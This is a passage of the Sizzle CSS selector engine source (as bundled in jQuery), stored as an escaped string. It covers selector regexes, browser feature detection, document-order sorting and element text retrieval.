\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes.replace( 3, 8 ) + \")*)|.*)\\\\)|)\",\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trtrim = new RegExp( \"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\", \"g\" ),\n\n\trcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n\trcombinators = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" + whitespace + \"*\" ),\n\n\trattributeQuotes = new RegExp( \"=\" + whitespace + \"*([^\\\\]'\\\"]*?)\" + whitespace + \"*\\\\]\", \"g\" ),\n\n\trpseudo = new RegExp( pseudos ),\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = {\n\t\t\"ID\": new RegExp( \"^#(\" + characterEncoding + \")\" ),\n\t\t\"CLASS\": new RegExp( \"^\\\\.(\" + characterEncoding + \")\" ),\n\t\t\"TAG\": new RegExp( \"^(\" + characterEncoding.replace( \"w\", \"w*\" ) + \")\" ),\n\t\t\"ATTR\": new RegExp( \"^\" + attributes ),\n\t\t\"PSEUDO\": new RegExp( \"^\" + pseudos ),\n\t\t\"CHILD\": new RegExp( \"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" + whitespace +\n\t\t\t\"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" + whitespace +\n\t\t\t\"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n\t\t\"bool\": new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\t\"needsContext\": new RegExp( \"^\" + whitespace + \"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" +\n\t\t\twhitespace + \"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t},\n\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\trnative = /^[^{]+\\{\\s*\\[native \\w/,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\trsibling = /[+~]/,\n\trescape = /'|\\\\/g,\n\n\t// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n\trunescape = new RegExp( \"\\\\\\\\([\\\\da-f]{1,6}\" + whitespace + \"?|(\" + whitespace + \")|.)\", \"ig\" ),\n\tfunescape = function( _, escaped, escapedWhitespace ) {\n\t\tvar high = \"0x\" + escaped - 0x10000;\n\t\t// NaN means non-codepoint\n\t\t// Support: Firefox\n\t\t// Workaround erroneous numeric interpretation of +\"0x\"\n\t\treturn high !== high || escapedWhitespace ?\n\t\t\tescaped :\n\t\t\thigh < 0 ?\n\t\t\t\t// BMP codepoint\n\t\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\t\t// Supplemental Plane codepoint (surrogate pair)\n\t\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t};\n\n// Optimize for push.apply( _, NodeList )\ntry {\n\tpush.apply(\n\t\t(arr = slice.call( preferredDoc.childNodes )),\n\t\tpreferredDoc.childNodes\n\t);\n\t// Support: Android<4.0\n\t// Detect silently failing push.apply\n\tarr[ preferredDoc.childNodes.length ].nodeType;\n} catch ( e ) {\n\tpush = { apply: arr.length ?\n\n\t\t// Leverage slice if possible\n\t\tfunction( target, els ) {\n\t\t\tpush_native.apply( target, slice.call(els) );\n\t\t} :\n\n\t\t// Support: IE<9\n\t\t// Otherwise append directly\n\t\tfunction( target, els ) {\n\t\t\tvar j = target.length,\n\t\t\t\ti = 0;\n\t\t\t// Can't trust NodeList.length\n\t\t\twhile ( (target[j++] = els[i++]) ) {}\n\t\t\ttarget.length = j - 1;\n\t\t}\n\t};\n}\n\nfunction Sizzle( selector, context, results, seed ) {\n\tvar match, elem, m, nodeType,\n\t\t// QSA vars\n\t\ti, groups, old, nid, newContext, newSelector;\n\n\tif ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {\n\t\tsetDocument( context );\n\t}\n\n\tcontext = context || document;\n\tresults = results || [];\n\n\tif ( !selector || typeof selector !== \"string\" ) {\n\t\treturn results;\n\t}\n\n\tif ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {\n\t\treturn [];\n\t}\n\n\tif ( documentIsHTML && !seed ) {\n\n\t\t// Shortcuts\n\t\tif ( (match = rquickExpr.exec( selector )) ) {\n\t\t\t// Speed-up: Sizzle(\"#ID\")\n\t\t\tif ( (m = match[1]) ) {\n\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\telem = context.getElementById( m );\n\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t// nodes that are no longer in the document (jQuery #6963)\n\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t// Handle the case where IE, Opera, and Webkit return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id === m ) {\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Context is not a document\n\t\t\t\t\tif ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&\n\t\t\t\t\t\tcontains( context, elem ) && elem.id === m ) {\n\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Speed-up: Sizzle(\"TAG\")\n\t\t\t} else if ( match[2] ) {\n\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\treturn results;\n\n\t\t\t// Speed-up: Sizzle(\".CLASS\")\n\t\t\t} else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) {\n\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\treturn results;\n\t\t\t}\n\t\t}\n\n\t\t// QSA path\n\t\tif ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {\n\t\t\tnid = old = expando;\n\t\t\tnewContext = context;\n\t\t\tnewSelector = nodeType === 9 && selector;\n\n\t\t\t// qSA works strangely on Element-rooted queries\n\t\t\t// We can work around this by specifying an extra ID on the root\n\t\t\t// and working up from there (Thanks to Andrew Dupont for the technique)\n\t\t\t// IE 8 doesn't work on object elements\n\t\t\tif ( nodeType === 1 && context.nodeName.toLowerCase() !== \"object\" ) {\n\t\t\t\tgroups = tokenize( selector );\n\n\t\t\t\tif ( (old = context.getAttribute(\"id\")) ) {\n\t\t\t\t\tnid = old.replace( rescape, \"\\\\$&\" );\n\t\t\t\t} else {\n\t\t\t\t\tcontext.setAttribute( \"id\", nid );\n\t\t\t\t}\n\t\t\t\tnid = \"[id='\" + nid + \"'] \";\n\n\t\t\t\ti = groups.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tgroups[i] = nid + toSelector( groups[i] );\n\t\t\t\t}\n\t\t\t\tnewContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;\n\t\t\t\tnewSelector = groups.join(\",\");\n\t\t\t}\n\n\t\t\tif ( newSelector ) {\n\t\t\t\ttry {\n\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t);\n\t\t\t\t\treturn results;\n\t\t\t\t} catch(qsaError) {\n\t\t\t\t} finally {\n\t\t\t\t\tif ( !old ) {\n\t\t\t\t\t\tcontext.removeAttribute(\"id\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrim, \"$1\" ), context, results, seed );\n}\n\n/**\n * Create key-value caches of limited size\n * @returns {Function(string, Object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\t\t// Use (key + \" \") to avoid collision with native prototype properties (see Issue #157)\n\t\tif ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn (cache[ key + \" \" ] = value);\n\t}\n\treturn cache;\n}\n\n/**\n * Mark a function for special use by Sizzle\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ expando ] = true;\n\treturn fn;\n}\n\n/**\n * Support testing using an element\n * @param {Function} fn Passed the created div and expects a boolean result\n */\nfunction assert( fn ) {\n\tvar div = document.createElement(\"div\");\n\n\ttry {\n\n\t\treturn !!fn( div );\n\t} catch (e) {\n\t\treturn false;\n\t} finally {\n\t\t// Remove from its parent by default\n\t\tif ( div.parentNode ) {\n\t\t\tdiv.parentNode.removeChild( div );\n\t\t}\n\t\t// release memory in IE\n\t\tdiv = null;\n\t}\n}\n\n/**\n * Adds the same handler for all of the specified attrs\n * @param {String} attrs Pipe-separated list of attributes\n * @param {Function} handler The method that will be applied\n */\nfunction addHandle( attrs, handler ) {\n\tvar arr = attrs.split(\"|\"),\n\t\ti = attrs.length;\n\n\twhile ( i-- ) {\n\t\tExpr.attrHandle[ arr[i] ] = handler;\n\t}\n}\n\n/**\n * Checks document order of two siblings\n * @param {Element} a\n * @param {Element} b\n * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b\n */\nfunction siblingCheck( a, b ) {\n\tvar cur = b && a,\n\t\tdiff = cur && a.nodeType === 1 && b.nodeType === 1 &&\n\t\t\t( ~b.sourceIndex || MAX_NEGATIVE ) -\n\t\t\t( ~a.sourceIndex || MAX_NEGATIVE );\n\n\t// Use IE sourceIndex if available on both nodes\n\tif ( diff ) {\n\t\treturn diff;\n\t}\n\n\t// Check if b follows a\n\tif ( cur ) {\n\t\twhile ( (cur = cur.nextSibling) ) {\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn a ? 1 : -1;\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn name === \"input\" && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn (name === \"input\" || name === \"button\") && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction(function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction(function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ (j = matchIndexes[i]) ] ) {\n\t\t\t\t\tseed[j] = !(matches[j] = seed[j]);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n}\n\n/**\n * Checks a node for validity as a Sizzle context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== strundefined && context;\n}\n\n// Expose support vars for convenience\nsupport = Sizzle.support = {};\n\n/**\n * Detects XML nodes\n * @param {Element|Object} elem An element or a document\n * @returns {Boolean} True iff elem is a non-HTML XML node\n */\nisXML = Sizzle.isXML = function( elem ) {\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833)\n\tvar documentElement = elem && (elem.ownerDocument || elem).documentElement;\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [doc] An element or document object to use to set the document\n * @returns {Object} Returns the current document\n */\nsetDocument = Sizzle.setDocument = function( node ) {\n\tvar hasCompare,\n\t\tdoc = node ? node.ownerDocument || node : preferredDoc,\n\t\tparent = doc.defaultView;\n\n\t// If no document and documentElement is available, return\n\tif ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {\n\t\treturn document;\n\t}\n\n\t// Set our document\n\tdocument = doc;\n\tdocElem = doc.documentElement;\n\n\t// Support tests\n\tdocumentIsHTML = !isXML( doc );\n\n\t// Support: IE>8\n\t// If iframe document is assigned to \"document\" variable and if iframe has been reloaded,\n\t// IE will throw \"permission denied\" error when accessing \"document\" variable, see jQuery #13936\n\t// IE6-8 do not support the defaultView property so parent will be undefined\n\tif ( parent && parent !== parent.top ) {\n\t\t// IE11 does not have attachEvent, so all must suffer\n\t\tif ( parent.addEventListener ) {\n\t\t\tparent.addEventListener( \"unload\", function() {\n\t\t\t\tsetDocument();\n\t\t\t}, false );\n\t\t} else if ( parent.attachEvent ) {\n\t\t\tparent.attachEvent( \"onunload\", function() {\n\t\t\t\tsetDocument();\n\t\t\t});\n\t\t}\n\t}\n\n\t/* Attributes\n\t---------------------------------------------------------------------- */\n\n\t// Support: IE<8\n\t// Verify that getAttribute really returns attributes and not properties (excepting IE8 booleans)\n\tsupport.attributes = assert(function( div ) {\n\t\tdiv.className = \"i\";\n\t\treturn !div.getAttribute(\"className\");\n\t});\n\n\t/* getElement(s)By*\n\t---------------------------------------------------------------------- */\n\n\t// Check if getElementsByTagName(\"*\") returns only elements\n\tsupport.getElementsByTagName = assert(function( div ) {\n\t\tdiv.appendChild( doc.createComment(\"\") );\n\t\treturn !div.getElementsByTagName(\"*\").length;\n\t});\n\n\t// Check if getElementsByClassName can be trusted\n\tsupport.getElementsByClassName = rnative.test( doc.getElementsByClassName ) && assert(function( div ) {\n\t\tdiv.innerHTML = \"<div class='a'></div><div class='a i'></div>\";\n\n\t\t// Support: Safari<4\n\t\t// Catch class over-caching\n\t\tdiv.firstChild.className = \"i\";\n\t\t// Support: Opera<10\n\t\t// Catch gEBCN failure to find non-leading classes\n\t\treturn div.getElementsByClassName(\"i\").length === 2;\n\t});\n\n\t// Support: IE<10\n\t// Check if getElementById returns elements by name\n\t// The broken getElementById methods don't pick up programatically-set names,\n\t// so use a roundabout getElementsByName test\n\tsupport.getById = assert(function( div ) {\n\t\tdocElem.appendChild( div ).id = expando;\n\t\treturn !doc.getElementsByName || !doc.getElementsByName( expando ).length;\n\t});\n\n\t// ID find and filter\n\tif ( support.getById ) {\n\t\tExpr.find[\"ID\"] = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== strundefined && documentIsHTML ) {\n\t\t\t\tvar m = context.getElementById( id );\n\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\treturn m && m.parentNode ? [m] : [];\n\t\t\t}\n\t\t};\n\t\tExpr.filter[\"ID\"] = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute(\"id\") === attrId;\n\t\t\t};\n\t\t};\n\t} else {\n\t\t// Support: IE6/7\n\t\t// getElementById is not reliable as a find shortcut\n\t\tdelete Expr.find[\"ID\"];\n\n\t\tExpr.filter[\"ID\"] =  function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\tvar node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode(\"id\");\n\t\t\t\treturn node && node.value === attrId;\n\t\t\t};\n\t\t};\n\t}\n\n\t// Tag\n\tExpr.find[\"TAG\"] = support.getElementsByTagName ?\n\t\tfunction( tag, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== strundefined ) {\n\t\t\t\treturn context.getElementsByTagName( tag );\n\t\t\t}\n\t\t} :\n\t\tfunction( tag, context ) {\n\t\t\tvar elem,\n\t\t\t\ttmp = [],\n\t\t\t\ti = 0,\n\t\t\t\tresults = context.getElementsByTagName( tag );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( tag === \"*\" ) {\n\t\t\t\twhile ( (elem = results[i++]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn tmp;\n\t\t\t}\n\t\t\treturn results;\n\t\t};\n\n\t// Class\n\tExpr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) {\n\t\tif ( typeof context.getElementsByClassName !== strundefined && documentIsHTML ) {\n\t\t\treturn context.getElementsByClassName( className );\n\t\t}\n\t};\n\n\t/* QSA/matchesSelector\n\t---------------------------------------------------------------------- */\n\n\t// QSA and matchesSelector support\n\n\t// matchesSelector(:active) reports false when true (IE9/Opera 11.5)\n\trbuggyMatches = [];\n\n\t// qSa(:focus) reports false when true (Chrome 21)\n\t// We allow this because of a bug in IE8/9 that throws an error\n\t// whenever `document.activeElement` is accessed on an iframe\n\t// So, we allow :focus to pass through QSA all the time to avoid the IE error\n\t// See http://bugs.jquery.com/ticket/13378\n\trbuggyQSA = [];\n\n\tif ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {\n\t\t// Build QSA regex\n\t\t// Regex strategy adopted from Diego Perini\n\t\tassert(function( div ) {\n\t\t\t// Select is set to empty string on purpose\n\t\t\t// This is to test IE's treatment of not explicitly\n\t\t\t// setting a boolean content attribute,\n\t\t\t// since its presence should be enough\n\t\t\t// http://bugs.jquery.com/ticket/12359\n\t\t\tdiv.innerHTML = \"<select t=''><option selected=''></option></select>\";\n\n\t\t\t// Support: IE8, Opera 10-12\n\t\t\t// Nothing should be selected when empty strings follow ^= or $= or *=\n\t\t\tif ( div.querySelectorAll(\"[t^='']\").length ) {\n\t\t\t\trbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:''|\\\"\\\")\" );\n\t\t\t}\n\n\t\t\t// Support: IE8\n\t\t\t// Boolean attributes and \"value\" are not treated correctly\n\t\t\tif ( !div.querySelectorAll(\"[selected]\").length ) {\n\t\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n\t\t\t}\n\n\t\t\t// Webkit/Opera - :checked should return selected option elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !div.querySelectorAll(\":checked\").length ) {\n\t\t\t\trbuggyQSA.push(\":checked\");\n\t\t\t}\n\t\t});\n\n\t\tassert(function( div ) {\n\t\t\t// Support: Windows 8 Native Apps\n\t\t\t// The type and name attributes are restricted during .innerHTML assignment\n\t\t\tvar input = doc.createElement(\"input\");\n\t\t\tinput.setAttribute( \"type\", \"hidden\" );\n\t\t\tdiv.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n\t\t\t// Support: IE8\n\t\t\t// Enforce case-sensitivity of name attribute\n\t\t\tif ( div.querySelectorAll(\"[name=d]\").length ) {\n\t\t\t\trbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );\n\t\t\t}\n\n\t\t\t// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !div.querySelectorAll(\":enabled\").length ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Opera 10-11 does not throw on post-comma invalid pseudos\n\t\t\tdiv.querySelectorAll(\"*,:x\");\n\t\t\trbuggyQSA.push(\",.*:\");\n\t\t});\n\t}\n\n\tif ( (support.matchesSelector = rnative.test( (matches = docElem.webkitMatchesSelector ||\n\t\tdocElem.mozMatchesSelector ||\n\t\tdocElem.oMatchesSelector ||\n\t\tdocElem.msMatchesSelector) )) ) {\n\n\t\tassert(function( div ) {\n\t\t\t// Check to see if it's possible to do matchesSelector\n\t\t\t// on a disconnected node (IE 9)\n\t\t\tsupport.disconnectedMatch = matches.call( div, \"div\" );\n\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( div, \"[s!='']:x\" );\n\t\t\trbuggyMatches.push( \"!=\", pseudos );\n\t\t});\n\t}\n\n\trbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") );\n\trbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );\n\n\t/* Contains\n\t---------------------------------------------------------------------- */\n\thasCompare = rnative.test( docElem.compareDocumentPosition );\n\n\t// Element contains another\n\t// Purposefully does not implement inclusive descendent\n\t// As in, an element does not contain itself\n\tcontains = hasCompare || rnative.test( docElem.contains ) ?\n\t\tfunction( a, b ) {\n\t\t\tvar adown = a.nodeType === 9 ? a.documentElement : a,\n\t\t\t\tbup = b && b.parentNode;\n\t\t\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\t\t\t\tadown.contains ?\n\t\t\t\t\tadown.contains( bup ) :\n\t\t\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t\t\t));\n\t\t} :\n\t\tfunction( a, b ) {\n\t\t\tif ( b ) {\n\t\t\t\twhile ( (b = b.parentNode) ) {\n\t\t\t\t\tif ( b === a ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n\n\t/* Sorting\n\t---------------------------------------------------------------------- */\n\n\t// Document order sorting\n\tsortOrder = hasCompare ?\n\tfunction( a, b ) {\n\n\t\t// Flag for duplicate removal\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\t// Sort on method existence if only one input has compareDocumentPosition\n\t\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\t\tif ( compare ) {\n\t\t\treturn compare;\n\t\t}\n\n\t\t// Calculate position if both inputs belong to the same document\n\t\tcompare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?\n\t\t\ta.compareDocumentPosition( b ) :\n\n\t\t\t// Otherwise we know they are disconnected\n\t\t\t1;\n\n\t\t// Disconnected nodes\n\t\tif ( compare & 1 ||\n\t\t\t(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {\n\n\t\t\t// Choose the first element that is related to our preferred document\n\t\t\tif ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t// Maintain original order\n\t\t\treturn sortInput ?\n\t\t\t\t( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :\n\t\t\t\t0;\n\t\t}\n\n\t\treturn compare & 4 ? -1 : 1;\n\t} :\n\tfunction( a, b ) {\n\t\t// Exit early if the nodes are identical\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tap = [ a ],\n\t\t\tbp = [ b ];\n\n\t\t// Parentless nodes are either documents or disconnected\n\t\tif ( !aup || !bup ) {\n\t\t\treturn a === doc ? -1 :\n\t\t\t\tb === doc ? 1 :\n\t\t\t\taup ? -1 :\n\t\t\t\tbup ? 1 :\n\t\t\t\tsortInput ?\n\t\t\t\t( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :\n\t\t\t\t0;\n\n\t\t// If the nodes are siblings, we can do a quick check\n\t\t} else if ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\t\t}\n\n\t\t// Otherwise we need full lists of their ancestors for comparison\n\t\tcur = a;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tap.unshift( cur );\n\t\t}\n\t\tcur = b;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tbp.unshift( cur );\n\t\t}\n\n\t\t// Walk down the tree looking for a discrepancy\n\t\twhile ( ap[i] === bp[i] ) {\n\t\t\ti++;\n\t\t}\n\n\t\treturn i ?\n\t\t\t// Do a sibling check if the nodes have a common ancestor\n\t\t\tsiblingCheck( ap[i], bp[i] ) :\n\n\t\t\t// Otherwise nodes in our document sort first\n\t\t\tap[i] === preferredDoc ? -1 :\n\t\t\tbp[i] === preferredDoc ? 1 :\n\t\t\t0;\n\t};\n\n\treturn doc;\n};\n\nSizzle.matches = function( expr, elements ) {\n\treturn Sizzle( expr, null, null, elements );\n};\n\nSizzle.matchesSelector = function( elem, expr ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\t// Make sure that attribute selectors are quoted\n\texpr = expr.replace( rattributeQuotes, \"='$1']\" );\n\n\tif ( support.matchesSelector && documentIsHTML &&\n\t\t( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&\n\t\t( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\tvar ret = matches.call( elem, expr );\n\n\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\tif ( ret || support.disconnectedMatch ||\n\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t// fragment in IE 9\n\t\t\t\t\telem.document && elem.document.nodeType !== 11 ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t} catch(e) {}\n\t}\n\n\treturn Sizzle( expr, document, null, [elem] ).length > 0;\n};\n\nSizzle.contains = function( context, elem ) {\n\t// Set document vars if needed\n\tif ( ( context.ownerDocument || context ) !== document ) {\n\t\tsetDocument( context );\n\t}\n\treturn contains( context, elem );\n};\n\nSizzle.attr = function( elem, name ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tvar fn = Expr.attrHandle[ name.toLowerCase() ],\n\t\t// Don't get fooled by Object.prototype properties (jQuery #13807)\n\t\tval = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n\t\t\tfn( elem, name, !documentIsHTML ) :\n\t\t\tundefined;\n\n\treturn val !== undefined ?\n\t\tval :\n\t\tsupport.attributes || !documentIsHTML ?\n\t\t\telem.getAttribute( name ) :\n\t\t\t(val = elem.getAttributeNode(name)) && val.specified ?\n\t\t\t\tval.value :\n\t\t\t\tnull;\n};\n\nSizzle.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\nSizzle.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\t// Unless we *know* we can detect duplicates, assume their presence\n\thasDuplicate = !support.detectDuplicates;\n\tsortInput = !support.sortStable && results.slice( 0 );\n\tresults.sort( sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( (elem = results[i++]) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tresults.splice( duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\t// Clear input after sorting to release objects\n\t// See https://github.com/jquery/sizzle/pull/225\n\tsortInput = null;\n\n\treturn results;\n};\n\n/**\n * Utility function for retrieving the text value of an array of DOM nodes\n * @param {Array|Element} elem\n */\ngetText = Sizzle.getText = function( elem ) {\n\tvar node,\n\t\tret = \"\",\n\t\ti = 0,\n\t\tnodeType = elem.nodeType;\n\n\tif ( !nodeType ) {\n\t\t// If no nodeType, this is expected to be an array\n\t\twhile ( (node = elem[i++]) ) {\n\t\t\t// Do not traverse comment nodes\n\t\t\tret += getText( node );\n\t\t}\n\t} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n\t\t// Use textContent for elements\n\t\t// innerText usage removed for consistency of new lines (jQuery #11153)\n\t\tif ( typeof elem.textContent === \"string\" ) {\n\t\t\treturn elem.textContent;\n\t\t} else {\n\t\t\t// Traverse its children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tret += getText( elem );\n\t\t\t}\n\t\t}\n\t} else if ( nodeType === 3 || nodeType === 4 ) {\n\t\treturn elem.nodeValue;\n\t}\n\t// Do not include comment or processing instruction nodes\n\n\treturn ret;\n};\n\nExpr = Sizzle.selectors = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tattrHandle: {},\n\n\tfind: {},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: {\n\t\t\"ATTR\": function( match ) {\n\t\t\tmatch[1] = match[1].replace( runescape, funescape );\n\n\t\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\t\tmatch[3] = ( match[4] || match[5] || \"\" 